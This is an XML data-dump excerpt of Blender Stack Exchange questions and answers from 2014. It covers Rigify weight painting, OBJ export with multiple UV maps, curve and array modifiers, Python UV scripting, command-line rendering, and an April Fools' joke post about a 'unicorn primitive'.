  <row Id="8227" PostTypeId="1" AcceptedAnswerId="8228" CreationDate="2014-04-01T17:52:14.633" Score="14" ViewCount="16545" Body="&lt;p&gt;I follow this &lt;a href=&quot;https://www.youtube.com/watch?v=dYiAd_08-0k&quot; rel=&quot;noreferrer&quot;&gt;tutorial&lt;/a&gt; which uses rigify and I have run into some issues.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/0naLS.png&quot; alt=&quot;http://i.imgur.com/sllKl7v.png&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Not every vertex moves along the rig. Any idea what could cause this? I applied the location and rotation for every object.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The entire head is weight painted with blue.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://www.pasteall.org/blend/28093&quot; rel=&quot;noreferrer&quot;&gt;blend file&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="1672" LastEditorUserId="599" LastEditDate="2014-04-15T19:12:26.653" LastActivityDate="2017-04-20T22:25:53.550" Title="Some vertices don't move along with the rig" Tags="&lt;rigging&gt;&lt;rigify&gt;&lt;vertex-groups&gt;" AnswerCount="1" CommentCount="5" FavoriteCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="8228" PostTypeId="2" ParentId="8227" CreationDate="2014-04-01T18:15:09.830" Score="16" Body="&lt;p&gt;To solve this issue, you need to:  &lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Make sure the mesh weights are set correctly&lt;/li&gt;&#xA;&lt;li&gt;Probably join all the body part meshes into one mesh&lt;/li&gt;&#xA;&lt;li&gt;Make you rig bind to the mesh using bone envelopes or vertex groups. If you choose bone envelopes, make sure they encapsulate all parts of your mesh so they effect all parts of the mesh. If you choose vertex groups, make sure all the vertices of the mesh are accounted for in all the vertex groups.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;That being said, you can follow the steps I've laid out here until you get to the end, and then try googling adjusting bone envelopes or vertex groups, or hopefully I or someone else can figure out how to get it working properly so I can finish giving step-by-step instructions.&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;&lt;strong&gt;Moving a Mesh with an Armature&lt;/strong&gt;&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;In order to move a mesh with an armature/rig, you need to:  &lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Make sure the Weight for your mesh is set correctly  &lt;/li&gt;&#xA;&lt;li&gt;Make sure your mesh is bound to the rig correctly with either Vertex Groups or Bone Envelopes   &lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;h2&gt;&lt;strong&gt;&lt;a href=&quot;http://wiki.blender.org/index.php/Doc:2.6/Manual/Modeling/Meshes/Vertex_Groups/Weight_Paint&quot; rel=&quot;nofollow noreferrer&quot;&gt;Weight Painting&lt;/a&gt;&lt;/strong&gt;&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;Weights for mesh objects that you want to be moved by your rig/armature must be painted something other than blue:  &lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Blue means it will be effected 0% by rig movement&lt;/li&gt;&#xA;&lt;li&gt;Red mesh will be 100% effected you the rig&lt;/li&gt;&#xA;&lt;li&gt;Any color in between blue and red will be partially effected by the rig movement:  &lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/1STjK.jpg&quot; alt=&quot;enter image description here&quot;&gt;  &lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Since your figure's body is divided into different meshes, I suggest you join all body parts together into one mesh so the rig will effect them as one mesh. Perhaps it's possible to use the rig with all the parts separate like they are now, but I don't know how to do that. So, I recommend selecting all parts and then using the Join command by pressing &lt;kbd&gt;CTRL&lt;/kbd&gt;&lt;kbd&gt;J&lt;/kbd&gt;.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now you need to paint all parts of your mesh with the correct weights: &lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Select the figure  &lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Select Weight Paint mode in the 3D Viewport header:  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/SWG1U.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Now adjust the brush settings and paint. &#xA;&lt;strong&gt;NOTE:&lt;/strong&gt; If you want an easy way to paint every part of your mesh red so it'll all move 100% with the rig, then make sure Limit Selection to Visible is disabled so that when you paint, it'll paint even parts of the mesh you can't see (i.e. the back sides, etc), as shown in the video below:  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/l1cm5.png&quot; alt=&quot;enter image description here&quot;&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/xQloH.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;You might want to paint the hair and the leaf dress to something other than full red in case you want them to move slightly differently. You can read more about &lt;a href=&quot;http://wiki.blender.org/index.php/Doc:2.6/Manual/Modeling/Meshes/Vertex_Groups/Weight_Paint&quot; rel=&quot;nofollow noreferrer&quot;&gt;weight paint here&lt;/a&gt; on the Blender wiki.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Now that you've taken care of the mesh weights, let's move on to the rig and how it's attached to the mesh. You might consider turning off the visibility of the controls you are not using at the moment so it's easier to grab the ones you want. To do this, open the Properties panel (&lt;kbd&gt;N&lt;/kbd&gt;), scroll down to the bottom and toggle off the visibility of the ones you're not using, like this:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/LANLu.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This will leave only the IK (Inverse Kinematics) controls visible so they'll be MUCH easier to find &amp;amp; select when you're posing the rig.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;NOTE:&lt;/strong&gt; If you're not sure about whether to use FK or IK controls, see &lt;a href=&quot;https://blender.stackexchange.com/questions/9062/why-do-rigify-controls-no-longer-move-my-figure-easily/9084#9084&quot;&gt;the answer here&lt;/a&gt; for a detailed description of what FK and IK controls do.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Next, select your rig, then enable Auto IK in the Options tab:&lt;br&gt;&#xA;Tools panel (&lt;kbd&gt;T&lt;/kbd&gt;) -&gt; Options tab -&gt; enable Auto IK &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/OaYXa.png&quot; alt=&quot;enter image description here&quot;&gt;  &lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Now you need to bind the vertices of your mesh to your rig/armature using either Vertex Groups or Bone Envelopes:  &lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;h2&gt;&lt;strong&gt;Bind to Vertex Groups and/or Bone Envelopes&lt;/strong&gt;&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;One common cause of parts of the mesh not moving with an armature can be related to how you bind the armature to your mesh -- whether you have Bind to Vertex Groups, Bone Envelopes, both or neither selected. If you'd like to read more about Vertex Groups and Bone Envelopes, you can read more about them here:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://wiki.blender.org/index.php/Doc:2.6/Manual/Modeling/Meshes/Vertex_Groups&quot; rel=&quot;nofollow noreferrer&quot;&gt;Vertex Groups&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://wiki.blender.org/index.php/Doc:2.6/Manual/Rigging/Armatures/Visualization&quot; rel=&quot;nofollow noreferrer&quot;&gt;Bone Envelopes&lt;/a&gt;  &lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;In this instance, I'll show how to bind using bone envelopes. &lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;First, make sure you only have 1 Armature modifier on your figure, then set it so only Bind to Bone Envelopes is selected:   &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/k6Shi.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Then, select the rig, go into Edit mode, and in the Properties panel (&lt;kbd&gt;N&lt;/kbd&gt;) adjust the size of the radius and envelope of each bone to make sure it encompass all parts of the mesh it's intended to move:  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/cyRBo.gif&quot; alt=&quot;enter image description here&quot;&gt;  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then, when you go into Pose mode to pose your figure, if part of the mesh doesn't move properly, like the parts of her face you showed in your picture, then that means the radius and/or envelope of the bone governing the head movement is not large enough. &lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;h2&gt;More On Rigify&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;For more information about some of Rigify's not so obvious features, see &lt;a href=&quot;https://blender.stackexchange.com/questions/1530/what-are-the-not-so-obvious-features-of-rigify&quot;&gt;this question.&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="2173" LastEditorUserId="-1" LastEditDate="2017-04-13T12:57:43.087" LastActivityDate="2014-05-07T02:51:33.563" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="8229" PostTypeId="1" AcceptedAnswerId="8231" CreationDate="2014-04-01T21:12:25.277" Score="3" ViewCount="2383" Body="&lt;p&gt;I'd like to export a .blend file with a UV-mapped texture, a displacement map and a normals map in 3 separate channels to an .obj file. Tried it with 3 UV Maps in 'Object data' but only 1 map will be exported. 3 separate objects with 3 separate maps or separate layers aren't working either. Do i need nodes...!?&lt;/p&gt;&#xA;" OwnerUserId="2987" LastEditorUserId="241" LastEditDate="2020-06-26T13:47:49.667" LastActivityDate="2020-06-26T13:47:49.667" Title="How to export to .obj with separate map-channels?" Tags="&lt;uv&gt;&lt;export&gt;&lt;obj&gt;" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="8230" PostTypeId="1" AcceptedAnswerId="8232" CreationDate="2014-04-01T21:38:15.527" Score="8" ViewCount="956" Body="&lt;p&gt;I'm having trouble to figure out meaningful parameter settings for the unicorn primitive operator.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It's mainly about the hoofs:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;should I make them two-toed or four?&lt;/li&gt;&#xA;&lt;li&gt;Is a &lt;a href=&quot;https://www.youtube.com/watch?v=ytpyUtySQG0&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;strong&gt;head-to-toe&lt;/strong&gt;&lt;/a&gt; ratio of 3:1 realistic?&lt;/li&gt;&#xA;&lt;li&gt;there is no option to add nail polish, can anyone share a node setup for pink glitter, but also a decent subsurface scattering?&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Bonus question: How many horn spins do you like the most?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/7Twp4.png&quot; alt=&quot;Unicorn Mesh Primitive&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="1363" LastActivityDate="2014-04-01T22:39:38.910" Title="Recommended settings for the magic unicorn primitive?" Tags="&lt;mesh&gt;" AnswerCount="1" CommentCount="14" FavoriteCount="6" ClosedDate="2014-05-03T14:42:33.633" ContentLicense="CC BY-SA 3.0" />
  <row Id="8231" PostTypeId="2" ParentId="8229" CreationDate="2014-04-01T21:50:50.383" Score="1" Body="&lt;p&gt;The .obj file format only supports a single UV map per object. There is no way to export an .obj file from blender with multiple UV maps. What you should do is use another file format such as FBX which does support multiple UV maps per object.&lt;/p&gt;&#xA;" OwnerUserId="1476" LastActivityDate="2014-04-01T21:50:50.383" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8232" PostTypeId="2" ParentId="8230" CreationDate="2014-04-01T22:15:05.353" Score="7" Body="&lt;p&gt;Here is a nail polish shader you can use. I am no make-up artist but I believe it should looks something like this. It does not use SSS but it does render on the GPU.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/x5glp.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Node Setup&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/9Eww2.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="1476" LastEditorUserId="1476" LastEditDate="2014-04-01T22:39:38.910" LastActivityDate="2014-04-01T22:39:38.910" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="8235" PostTypeId="1" AcceptedAnswerId="8249" CreationDate="2014-04-02T06:46:25.900" Score="9" ViewCount="13137" Body="&lt;p&gt;I modelled a part of a bicycle chain added an &lt;em&gt;Array&lt;/em&gt; and a &lt;em&gt;Curve Modifier&lt;/em&gt; &lt;img src=&quot;https://i.stack.imgur.com/VDR8N.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;everything worked nicely until I added cogs and translated and scaled the chain parts to fit the cogs.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I tried to apply transformations, re-added the &lt;em&gt;Curve Modifier&lt;/em&gt; but had no success, it still deforms the chain that strange:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/9cLAM.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Before I messed it up it looked like this:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/ONrQC.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How could it be fixed?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://pasteall.org/blend/28104&quot; rel=&quot;noreferrer&quot;&gt;.blend&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="29" LastEditorUserId="599" LastEditDate="2014-05-22T07:50:45.850" LastActivityDate="2017-04-17T14:59:55.307" Title="Why is the curve modifier deforming strangely?" Tags="&lt;modeling&gt;&lt;modifiers&gt;&lt;bezier-curves&gt;" AnswerCount="2" CommentCount="3" FavoriteCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="8236" PostTypeId="2" ParentId="5910" CreationDate="2014-04-02T08:05:21.357" Score="32" Body="&lt;p&gt;You can use a proxy mesh as the curve object, then use &lt;em&gt;Dupli faces&lt;/em&gt; to place an object at each face. This has the added advantage of using &lt;em&gt;instances&lt;/em&gt;, which are more memory efficient than the array modifier.&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/ucNlS.png&quot; rel=&quot;noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/ucNlS.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Add a plane and set it up with the curve and array modifiers:&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/mDzyf.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Parent the actual object to the plane (&lt;kbd&gt;Ctrl&lt;/kbd&gt;&lt;kbd&gt;P&lt;/kbd&gt;).&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;With the plane selected, enable &lt;em&gt;Faces&lt;/em&gt; in &lt;em&gt;Properties &amp;gt; Object &amp;gt; Duplication &amp;gt; Faces&lt;/em&gt;.&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="599" LastEditorUserId="-1" LastEditDate="2020-06-10T12:57:44.663" LastActivityDate="2014-04-02T08:11:46.857" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="8237" PostTypeId="1" CreationDate="2014-04-02T09:08:37.803" Score="2" ViewCount="647" Body="&lt;p&gt;I need to open an STL file with Blender, run a script that finds it's dimensions and send them to a php page. All of this should essentially be done through command line or a python script.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So far I've been using cmd with this command:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;blender -b C:\blenderTesting\test.blend -o C:\blenderTesting\ -P C:\blenderTesting\test.py&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;blender -b C:\blenderTesting\test.blend opens the file in blender&lt;/p&gt;&#xA;&#xA;&lt;p&gt;-o C:\blenderTesting\ sets the folder for the file to be saved to when finished&lt;/p&gt;&#xA;&#xA;&lt;p&gt;-P C:\blenderTesting\test.py runs the python script that finds the dimensions of the object&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When I use the above command cmd returns, Error executing Python script from command-line: C:\blenderTesting\test.py (at line 231).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is the end of the python script&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;def write(filename):&#xA;    outputFile = open(filename, &quot;w&quot;)&#xA;    outputFile.write(String);&#xA;    outputFile.close()&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This is line 231 of test.py&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Blender.Window.FileSelector(write, &quot;Export&quot;)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I'm assuming the problem is that since I'm running this script via Blender background mode it can't open the export window in Blender. I don't want to do this anyway, since I want the script to automatically save the data in a php file. So is there a way to change the ending (line 231) of the python script to automatically save the data without using the export window?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If not, could I accomplish this another way?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks for the help!&lt;/p&gt;&#xA;" OwnerUserId="2995" LastActivityDate="2014-06-10T23:16:12.467" Title="command-line export data to php" Tags="&lt;python&gt;" AnswerCount="1" CommentCount="11" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="8238" PostTypeId="1" AcceptedAnswerId="8244" CreationDate="2014-04-02T09:27:42.423" Score="4" ViewCount="1917" Body="&lt;p&gt;I have a closed Bézier curve created in Illustrator which I've imported into Blender via SVG. I don't want to extrude it, but rather make it a filled surface (at the moment it's just a path) which I can then manipulate. Ideally it'd either be a bezier surface (is there such a thing) or a NURB, but if need be I can work with a mesh. How do I convert it to a more useful Blender object type?&lt;/p&gt;&#xA;" OwnerUserId="2996" LastEditorUserId="2217" LastEditDate="2014-06-26T22:06:41.253" LastActivityDate="2014-06-26T22:06:41.253" Title="Convert imported SVG shape to Bézier/NURBS surface" Tags="&lt;bezier-curves&gt;&lt;import&gt;&lt;file-format&gt;&lt;conversion&gt;&lt;nurbs-surface&gt;" AnswerCount="1" CommentCount="0" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="8239" PostTypeId="2" ParentId="8221" CreationDate="2014-04-02T09:41:20.573" Score="3" Body="&lt;p&gt;Below you find a very well-performaning solution to set mesh UVs from a source in a per-vertex format to Blender's per-loop (face corner).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This assumes you have a sequence of float pairs (UV coord),&lt;br&gt;&#xA;e.g. &lt;code&gt;((0.2, 0.1), (0.8, 0.9), (0.2,0.1), ...)&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bpy&#xA;from random import random&#xA;&#xA;me = bpy.context.object.data&#xA;&#xA;# Sample data&#xA;vert_uvs = [(random(), random()) for i in range(len(me.vertices))]&#xA;&#xA;me.uv_textures.new(&quot;test&quot;)&#xA;me.uv_layers[-1].data.foreach_set(&quot;uv&quot;, [uv for pair in [vert_uvs[l.vertex_index] for l in me.loops] for uv in pair])&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Original thread: &lt;a href=&quot;http://blenderartists.org/forum/showthread.php?321210-Importing-UV-coordinates&quot; rel=&quot;nofollow&quot;&gt;Importing UV coordinates&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="1363" LastActivityDate="2014-04-02T09:41:20.573" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8240" PostTypeId="2" ParentId="8221" CreationDate="2014-04-02T09:49:33.660" Score="2" Body="&lt;p&gt;I made it work adapting this &lt;a href=&quot;http://blenderartists.org/forum/showthread.php?321210-Importing-UV-coordinates&quot; rel=&quot;nofollow&quot;&gt;http://blenderartists.org/forum/showthread.php?321210-Importing-UV-coordinates&lt;/a&gt;. My problem is that it works but I don´t understand it, if someone wants to explain the code i would very grateful, anyway here is my solution:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;for i in range(0,numeroparts):&#xA;    malla.append(bpy.data.meshes.new(name=&quot;2k_Part&quot;+str(i)))&#xA;    uv = []&#xA;    xyz= []&#xA;    for j in range(0,numerovertxpart[i]):&#xA;        line=file.readline()&#xA;        x,y,z,u,v=float(line.split()[0].replace(',','.')),float(line.split()[1].replace(',','.')),float(line.split()[2].replace(',','.')),float(line.split()[3].replace(',','.')),float(line.split()[4].replace(',','.'))&#xA;        uv.append((u,v))&#xA;        xyz.append((x,y,z))&#xA;        print(x,y,z)&#xA;&#xA;&#xA;    aa = []&#xA;    bb = []&#xA;    cc = []&#xA;    faces= []               &#xA;&#xA;    for j in range(0,numerofacexpart[i]):&#xA;        line=file.readline()&#xA;        a,b,c=int(line.split()[0]),int(line.split()[1]),int(line.split()[2])&#xA;        faces.append((a,b,c))&#xA;        aa.append(a)&#xA;        bb.append(b)&#xA;        cc.append(c)&#xA;        print(a,b,c)&#xA;&#xA;    malla[i].from_pydata(xyz, [], faces)&#xA;&#xA;&#xA;&#xA;    malla[i].uv_textures.new(name=&quot;UVMap&quot;)&#xA;    uv_layer = malla[i].uv_layers[-1].data&#xA;&#xA;    vert_loops = {}&#xA;    for l in malla[i].loops:&#xA;        vert_loops.setdefault(l.vertex_index, []).append(l.index)&#xA;&#xA;    # Assume as uv = [(0.3, 0.6), (0.1, 0.4), ...]&#xA;    # with uv coords in order of vertices&#xA;&#xA;    for q, coord in enumerate(uv):&#xA;        # For every loop of a vertex&#xA;        for li in vert_loops[q]:&#xA;            uv_layer[li].uv = coord&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2984" LastActivityDate="2014-04-02T09:49:33.660" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8241" PostTypeId="1" CreationDate="2014-04-02T09:56:54.467" Score="3" ViewCount="710" Body="&lt;p&gt;Salutations cronies, I am having trouble getting the Record Animation setting to work. I have read and watched a number of tutorials but I cannot get my animation to be recorded. Here:&lt;a href=&quot;http://blenderartists.org/forum/showthread.php?332344-Record-Animation-not-working&amp;amp;p=2614612#post2614612&quot; rel=&quot;nofollow&quot;&gt;here&lt;/a&gt; is a link to get my blend file and below is the code for the module called by it (to get the characters ears to move in a continuous sinusoidal manner). &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;## Program to slowly alter vectors of bones and servos which is ####&#xA;## read by Blender ####&#xA;import os&#xA;import time&#xA;import math&#xA;&#xA;i=0&#xA;&#xA;def boneInstruc():&#xA;&#xA;    while 1:  &#xA;        global i #necessary to ensure using global variable &#xA;        xRE=round(math.sin(i),2)&#xA;        yRE=0.00&#xA;        zRE=0.00&#xA;        RE=[xRE,yRE,zRE]&#xA;        xLE=round(math.sin(i),2)&#xA;        yLE=0.00&#xA;        zLE=0.00&#xA;        LE=[xLE,yLE,zLE]&#xA;        xTL=round(math.sin(i),2)&#xA;        yTL=0.00&#xA;        zTL=0.00&#xA;        TL=[xTL,yTL,zTL]&#xA;        i=i+0.01&#xA;        #servo(xRE, xLE, xTL)&#xA;        time.sleep(0.01)&#xA;        return (RE, LE, TL)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2238" LastEditorUserId="29" LastEditDate="2014-04-02T10:48:11.980" LastActivityDate="2014-05-12T01:50:22.137" Title="Record Animation not working" Tags="&lt;python&gt;&lt;animation&gt;" AnswerCount="1" CommentCount="2" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="8242" PostTypeId="1" CreationDate="2014-04-02T11:36:28.830" Score="17" ViewCount="42379" Body="&lt;p&gt;Is it possible to repeat my track object along a path? I tried using the method shown here &lt;a href=&quot;https://blender.stackexchange.com/questions/2866/extrude-along-path?lq=1&quot;&gt;Extrude along path&lt;/a&gt; using an array and then a curve modifier, but this happened when I added the curve modifier and chose the path as the curve object.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/DPDeI.png&quot; alt=&quot;image 1&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/Lzs8W.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="2998" LastEditorUserId="-1" LastEditDate="2017-04-13T12:57:43.437" LastActivityDate="2020-04-17T08:08:33.877" Title="Repeating objects along a path" Tags="&lt;bezier-curves&gt;&lt;modifiers&gt;" AnswerCount="1" CommentCount="0" FavoriteCount="11" ContentLicense="CC BY-SA 3.0" />
  <row Id="8243" PostTypeId="2" ParentId="8242" CreationDate="2014-04-02T12:10:44.247" Score="28" Body="&lt;p&gt;In your scene it looks like the origins of the object might be messed up. When using the Array and Curve Modifier it is important to note that the origin of the curve and the origin of the mesh must be at the same spot. Also the mesh should have it origin at it geometry not somewhere else.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is how to fix it:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;First let's make sure that your objects are not rotated or scaled by applying the transforms:&lt;br&gt;&#xA;&lt;kbd&gt;Ctrl&lt;/kbd&gt; &lt;kbd&gt;A&lt;/kbd&gt; -&gt; Rotation &amp;amp; Scale&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Select the curve item in object mode&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Place the 3d cursor at the curves origin, &lt;kbd&gt;Shift&lt;/kbd&gt; &lt;kbd&gt;S&lt;/kbd&gt; -&gt; Cursor to selected&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Select the mesh in object mode&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Set the origin of the mesh to the geometry, &lt;kbd&gt;Ctrl&lt;/kbd&gt; &lt;kbd&gt;Shift&lt;/kbd&gt; &lt;kbd&gt;Alt&lt;/kbd&gt; &lt;kbd&gt;C&lt;/kbd&gt; -&gt; Origin to geometry&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;With the mesh still selected move the mesh to the 3d cursor, &lt;kbd&gt;Shift&lt;/kbd&gt; &lt;kbd&gt;S&lt;/kbd&gt; -&gt; Selected to Cursor&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/BFONh.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://www.pasteall.org/blend/28109&quot; rel=&quot;noreferrer&quot;&gt;&lt;strong&gt;blend file&lt;/strong&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="1476" LastEditorUserId="1476" LastEditDate="2014-04-02T17:05:15.857" LastActivityDate="2014-04-02T17:05:15.857" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="8244" PostTypeId="2" ParentId="8238" CreationDate="2014-04-02T12:41:51.183" Score="3" Body="&lt;p&gt;Just make the shape 2D and it will be filled.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The shape will still be editable as NURBS.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you need to convert it to a mesh press ALT+C&#xA;&lt;img src=&quot;https://i.stack.imgur.com/n05Qq.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerDisplayName="user1853" LastActivityDate="2014-04-02T12:41:51.183" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
